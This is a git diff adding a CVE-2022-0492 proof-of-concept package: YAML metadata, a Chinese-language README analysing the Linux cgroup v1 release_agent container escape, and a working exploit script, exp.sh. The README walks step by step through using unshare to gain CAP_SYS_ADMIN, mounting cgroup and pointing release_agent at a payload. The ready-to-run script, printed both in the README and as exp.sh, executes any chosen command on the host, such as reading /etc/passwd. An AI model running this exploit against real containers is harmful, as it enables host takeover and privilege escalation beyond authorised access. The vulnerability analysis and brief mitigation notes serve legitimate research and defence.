diff --git a/data/KernelPocs/CVE-2022-0492/CVE-2022-0492.yaml b/data/KernelPocs/CVE-2022-0492/CVE-2022-0492.yaml new file mode 100644 index 0000000..6d5a4c4 --- /dev/null +++ b/data/KernelPocs/CVE-2022-0492/CVE-2022-0492.yaml @@ -0,0 +1,19 @@ +id: CVE-2022-0492 +source: https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: 高危 + description: | + A vulnerability was found in the Linux kernel’s cgroup_release_agent_write in the kernel/cgroup/cgroup-v1.c function. This flaw, under certain circumstances, allows the use of the cgroups v1 release_agent feature to escalate privileges and bypass the namespace isolation unexpectedly. + scope-of-influence: + 2.6.24-rc1~5.17-rc3 + reference: + - http://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2022-0492 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0492 + - https://git.kernel.org/linus/24f6008564183aa120d07c03d9289519c2fe02af + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0492 + cwe-id: CWE-287 + tags: 权限提升,容器逃逸,cve2022 \ No newline at end of file diff --git a/data/KernelPocs/CVE-2022-0492/README.md b/data/KernelPocs/CVE-2022-0492/README.md new file mode 100644 index 0000000..6fa2306 --- /dev/null +++ b/data/KernelPocs/CVE-2022-0492/README.md @@ -0,0 +1,314 @@ +# CVE-2022-0492 容器逃逸分析 + +[toc] + +## 漏洞简介 + +漏洞编号: CVE-2022-0492 + +漏洞产品: linux kernel - cgroup + +影响版本: ~linux kernel 5.17-rc3 + +漏洞危害: 当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机 + +## 环境搭建 + +在存在漏洞版本的内核的linux中使用docker 即可。 + +```shell +#关闭所有安全防护启动docker +docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash +``` + +本文用docker 做为实验环境。 + +## 漏洞原理与相关知识 + +该漏洞的利用方法已经是[老面孔](https://www.freebuf.com/vuls/264843.html)了,不过漏洞发生的点在于对修改cgroup 的release_agent缺失权限校验,导致给逃逸利用的门槛进一步降低(以前需要CAP_SYS_ADMIN权限,该漏洞无需CAP_SYS_ADMIN)。具体利用前提的差别看下文"利用条件"。 + +### 漏洞发生点 + +分析补丁,patch 了`cgroup_release_agent_write` 函数,增加了身份验证。代表cgroup 的release_agent不再允许不具备权限的用户修改了: + +![image-20220310201629995](img/image-20220310201629995.png) + +所以确定该漏洞为失效的访问控制。 + +### cgroup 简介 + +cgroup 即Linux Control Group, 是Linux内核的一个功能,用来限制,控制与分离一个进程组群的资源(如CPU、内存、磁盘输入输出等)。 + +cgroup 有如下子系统: + +1. `devices` 进程范围设备权限 +2. `cpuset` 分配进程可使用的 CPU数和内存节点 +3. `cpu` 控制CPU占有率 +4. `cpuacct` 统计CPU使用情况,例如运行时间,throttled时间 +5. memory 限制内存的使用上限 +6. `freezer` 暂停 Cgroup 中的进程 +7. `net_cls` 配合 tc(traffic controller)限制网络带宽 +8. `net_prio` 设置进程的网络流量优先级 +9. `huge_tlb` 限制 HugeTLB 的使用 +10. `perf_event` 允许 Perf 工具基于 Cgroup 分组做性能检测 + +宿主机中的cgroup 都在`/sys/fs/cgroup` 下,可以看到各个cgroup 子系统: + +![image-20220311113636040](img/image-20220311113636040.png) + +docker 中对应的cgroup 子系统就是宿主机中该cgroup 的子节点,docker中查看memory cgroup: + +![image-20220311113811776](img/image-20220311113811776.png) + +主机docker 目录中的对应容器名节点,一模一样: + +![image-20220311113853019](img/image-20220311113853019.png) + +#### cgroup 使用 + +cgroup 是通过文件系统的形势来使用的,通过`mount` 将cgroup 挂在到一个目录,cgroup 通过VFS虚拟文件系统和我们交互,cgroup 的接口通过文件的形势呈现,直接使用文件的操作方式对cgroup进行一些参数的设置。 + +``` +mount -t cgroup -o memory cgroup /tmp/testcgroup +``` + +![image-20220311111853198](img/image-20220311111853198.png) + +可以通过在目录下创建子目录来创建cgroup 子节点`mkdir /tmp/testcgroup/x`。 + +#### release_agent + +cgroup的每一个subsystem都有参数`notify_on_release`,这个参数值是`Boolean`型,1或0。分别可以启动和禁用释放代理的指令。如果`notify_on_release`启用(为1),当cgroup不再包含任何任务时(即cgroup 中最后一个进程退出的时候,cgroup的`tasks`文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的内容。通过修改notify_on_release 文件的形势修改 `notify_on_release`的值。 + +![image-20220311114023546](img/image-20220311114023546.png) + +漏洞发生就位于对release_agent 的修改,在原本只要可以操作cgroup 便可对release_agent 进行修改,而需要CAP_SYS_ADMIN才可以使用cgroup。但后来研究人员发现通过`unshare` 命令创建新的namespace可以获得全部的capbilities,那么对于CAP_SYS_ADMIN 的限制就不存在了,漏洞利用的门槛一下子降低了很多。 + +### unshare 命令 + +`unshare` 命令功能为取消指定的共享父进程中指定的命名空间,然后执行指定的程序并加入新创建的namespace。和我们漏洞利用相关的就是,**`unshare` 新创建的namespace 拥有包括CAP_SYS_ADMIN在内的全部的capbilities。** + +![image-20220311102635204](img/image-20220311102635204.png) + +## 漏洞利用 + +本漏洞利用和传统CAP_SYS_ADMIN+cgroup release_agent 逃逸方法相同,但利用条件有所区别。 + +### 利用条件 + +漏洞利用条件和传统release_agent 逃逸的利用条件区别是: + +**传统release_agent**:容器需要有CAP_SYS_ADMIN 并且没有开启 apparmor 、selinux。 + +**cve-2022-0492**:容器裸奔(更细化一点就是seccomp 不禁用`unshare`,apparmor 不开启cgroup只读,关闭selinux),获得容器内root 权限。**无需获得CAP_SYS_ADMIN** 。 + +值得一提的是,docker 的apparmor 默认会开启cgroup 只读,docker 的seccomp 默认是会禁用非CAP_SYS_ADMIN权限下的`unshare`。k8s 默认通常是裸奔容器。总之由于利用比较容易,可以在具体场景尝试一下。 + +**漏洞修复后**:根据补丁的代码: + +![image-20220310201629995](img/image-20220310201629995.png) + +想要修改release_agent 文件需要具备两个条件: + +1. 是根命名空间 +2. 拥有CAP_SYS_ADMIN cap权限 + +所以在漏洞修复之后,通过`unshare` 获得的CAP_SYS_ADMIN 权限不再能修改release_agent 了,因为使用`unshare `获得的新命名空间不是根命名空间。但如果容器本身就存在CAP_SYS_ADMIN 权限则还可以继续使用此方式逃逸。 + +### 漏洞利用 + +#### 获得CAP_SYS_ADMIN + +如果docker 启动中带有`--cap-add=SYS_ADMIN` 参数或`--privileged`(特权容器),则带有CAP_SYS_ADMIN权限,则不需要我们额外获取,如如下启动命令: + +```sh +#带有sys_admin 启动docker, 关闭apparmor(否则无法mount) +docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash +``` + +带有CAP_SYS_ADMIN 权限的docker 可直接进入下一步"修改release_agent"。启动不带CAP_SYS_ADMIN 权限的docker 并且复现漏洞的命令: + +```sh +#关闭所有安全防护启动docker +docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash +``` + +没有CAP_SYS_ADMIN,通过如下`unshare` 命令获得CAP_SYS_ADMIN权限: + +```shell +unshare -UrmC --propagation=unchanged bash +``` + +新获得的命名空间拥有全部的capbilities权限。 + +![image-20220311102635204](img/image-20220311102635204.png) + + + +#### mount cgroup与获取容器在宿主机中的路径 + +将cgroup mount到一个目录,这一步由于用到了`mount `,所以需要CAP_SYS_ADMIN 权限,经过上一步,我们或自带CAP_SYS_ADMIN,要么已经通过`unshare` 获得了CAP_SYS_ADMIN。除此之外,我们还需要在刚`mount `的cgroup 中创建一个cgroup节点,方便后续我们做清空task 的操作: + +```sh +mkdir /tmp/testcgroup +mount -t cgroup -o memory cgroup /tmp/testcgroup +#然后再在/tmp/testcgroup 创建一个 +mkdir /tmp/testcgroup/x +``` + +**这里 memory 无法`mount` 或memory 中没有release_agent 可以换其他cgroup子系统。** + +通过`/etc/mtab` 文件可以看到挂载的docker overlay文件系统信息,`upperdir` 就是容器根目录在宿主机上的绝对路径: + +![image-20220311104701790](img/image-20220311104701790.png) + +通过如下命令可以获取: + +```shell +host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` +``` + +#### 修改release_agent 触发逃逸 + +将`notify_on_release`设置为1,开启task 进程清空后执行release_agent功能: + +```sh +echo 1 > /tmp/testcgroup/x/notify_no_release +``` + +创建release_agent 触发时执行的文件: + +```sh +touch /cmd +echo '#!/bin/sh' > /cmd +echo "ps -ef >> $host_path/result" >> /cmd +chmod 777 /cmd +``` + +修改release_agent ,指向cmd 文件在宿主机中的路径(上面已经获取了容器根目录在宿主机中的路径): + +```sh +echo "$host_path/cmd" > /tmp/testcgroup/release_agent +``` + +接下来向x cgroup 节点中输入一个任务,将自己所属的sh 的pid 写入cgroup.procs。 + +```sh +sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs" +``` + +sh 命令只执行了一个`echo` 指令,一瞬间就会结束,那么x cgroup 节点中就没有任何任务了,触发`notify_on_release` 执行 release_agent 指向的`/cmd` 文件,内核触发,在容器外执行我们指定的命令,完成逃逸。逃逸成功: + +![image-20220311110810458](img/image-20220311110810458.png) + +### exp + +根据流程写了个exp: + +```shell +#!/bin/bash +hackCMD=$1 +CAP_SYS_ADMIN=0x80000 +ifSysAdmin=0 +mountDir=/tmp/testcgroup +cmdPath=/cmd +hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` + +mkdir $mountDir +# create cmd +touch $cmdPath +echo '#!/bin/sh' > $cmdPath +echo "$1 > $hostPath/result" >> $cmdPath +chmod 777 $cmdPath + +#create escape.sh +cat < ./escape.sh +#!/bin/bash + +subsys=\$1 +mountDir=\$2 +host_path=\$3 + +mount -t cgroup -o \$subsys cgroup \$mountDir +if [ ! -d \$mountDir/x ] +then + mkdir \$mountDir/x +fi + +cd \$mountDir/x +echo 1 > \$mountDir/x/notify_on_release +echo "\$host_path/cmd" > \$mountDir/release_agent + +sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs" +sleep 0.5 +umount $mountDir +EOF +chmod 777 ./escape.sh + +#get if has cap_sys_admin +nowCap=`cat /proc/$$/status | grep CapEff` +nowCap=${nowCap#*CapEff:} +nowCap=${nowCap%%CapEff*} +nowCap=0x${nowCap: 1: 16} + +ifSysAdmin=0 +if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ] +then + ifSysAdmin=1 +fi + +if [ $ifSysAdmin == 1 ] +then + echo "[+] You have CAP_SYS_ADMIN!" +else + echo "[-] You donot have CAP_SYS_ADMIN, will try" +fi + +#try escape +while read -r subsys +do + if [ $ifSysAdmin == 1 ] + then + if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then + ./escape.sh $subsys $mountDir $hostPath + echo "[+] Escape Success!" + rm -r $mountDir + cat /result + rm /result + exit 0 + fi + else + if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then + unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath" + echo "[+] Escape Success with unshare!" + rm -r $mountDir + cat /result + rm /result + exit 0 + fi + fi +done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$') + +echo "[-] Escape Fail!" +rm -r $mountDir +``` + +直接运行,接一个你想逃逸执行的命令作为参数:如:`./exp.sh "cat /etc/passwd"` + +逃逸成功: + +![image-20220311153511050](img/image-20220311153511050.png) + +## 缓解措施 + +docker 默认状态是开启seccomp 和apparmor 的,漏洞无法逃逸开启默认规则的seccomp 和apparmor 的容器。k8s 默认没有任何安全措施,需要手动开启seccomp 和apparmor 或selinux。 + +## 参考 + +https://nvd.nist.gov/vuln/detail/CVE-2022-0492 + +https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492 + +https://www.freebuf.com/vuls/264843.html + +除此之外还问了参与挖这个漏洞的人 diff --git a/data/KernelPocs/CVE-2022-0492/exp.sh b/data/KernelPocs/CVE-2022-0492/exp.sh new file mode 100644 index 0000000..3ba4def --- /dev/null +++ b/data/KernelPocs/CVE-2022-0492/exp.sh @@ -0,0 +1,97 @@ +#!/bin/bash + +hackCMD=$1 +CAP_SYS_ADMIN=0x80000 +ifSysAdmin=0 +mountDir=/tmp/testcgroup +cmdPath=/cmd +hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` + +mkdir $mountDir +# create cmd +touch $cmdPath +echo '#!/bin/sh' > $cmdPath +echo "$1 > $hostPath/result" >> $cmdPath +chmod 777 $cmdPath + + +#create escape.sh +cat < ./escape.sh +#!/bin/bash + +subsys=\$1 +mountDir=\$2 +host_path=\$3 + +mount -t cgroup -o \$subsys cgroup \$mountDir +if [ ! -d \$mountDir/x ] +then + mkdir \$mountDir/x +fi + +cd \$mountDir/x +echo 1 > \$mountDir/x/notify_on_release +echo "\$host_path/cmd" > \$mountDir/release_agent + +sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs" +sleep 0.5 +umount $mountDir +EOF +chmod 777 ./escape.sh + +#get if has cap_sys_admin +nowCap=`cat /proc/$$/status | grep CapEff` +nowCap=${nowCap#*CapEff:} +nowCap=${nowCap%%CapEff*} +nowCap=0x${nowCap: 1: 16} + +ifSysAdmin=0 +if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ] +then + ifSysAdmin=1 +fi + +if [ $ifSysAdmin == 1 ] +then + echo "[+] You have CAP_SYS_ADMIN!" +else + echo "[-] You donot have CAP_SYS_ADMIN, will try" +fi + + + +#try escape +while read -r subsys +do + if [ $ifSysAdmin == 1 ] + then + if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then + ./escape.sh $subsys $mountDir $hostPath + echo "[+] Escape Success!" + rm -r $mountDir + cat /result + rm /result + exit 0 + fi + else + if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then + unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath" + echo "[+] Escape Success with unshare!" + rm -r $mountDir + cat /result + rm /result + exit 0 + fi + fi +done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$') + +echo "[-] Escape Fail!" +rm -r $mountDir + + + + + + + + diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220310201629995.png b/data/KernelPocs/CVE-2022-0492/img/image-20220310201629995.png new file mode 100644 index 0000000..57b9979 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220310201629995.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311102635204.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311102635204.png new file mode 100644 index 0000000..1e350cc Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311102635204.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311104701790.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311104701790.png new file mode 100644 index 0000000..797e486 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311104701790.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311110810458.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311110810458.png new file mode 100644 index 0000000..babbd0d Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311110810458.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311111853198.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311111853198.png new file mode 100644 index 0000000..76353f1 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311111853198.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311113636040.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311113636040.png new file mode 100644 index 0000000..d5a80cc Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311113636040.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311113811776.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311113811776.png new file mode 100644 index 0000000..6407d12 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311113811776.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311113853019.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311113853019.png new file mode 100644 index 0000000..8ddedd7 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311113853019.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311114011979.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311114011979.png new file mode 100644 index 0000000..9588846 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311114011979.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311114023546.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311114023546.png new file mode 100644 index 0000000..9588846 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311114023546.png differ diff --git a/data/KernelPocs/CVE-2022-0492/img/image-20220311153511050.png b/data/KernelPocs/CVE-2022-0492/img/image-20220311153511050.png new file mode 100644 index 0000000..f0a9c56 Binary files /dev/null and b/data/KernelPocs/CVE-2022-0492/img/image-20220311153511050.png differ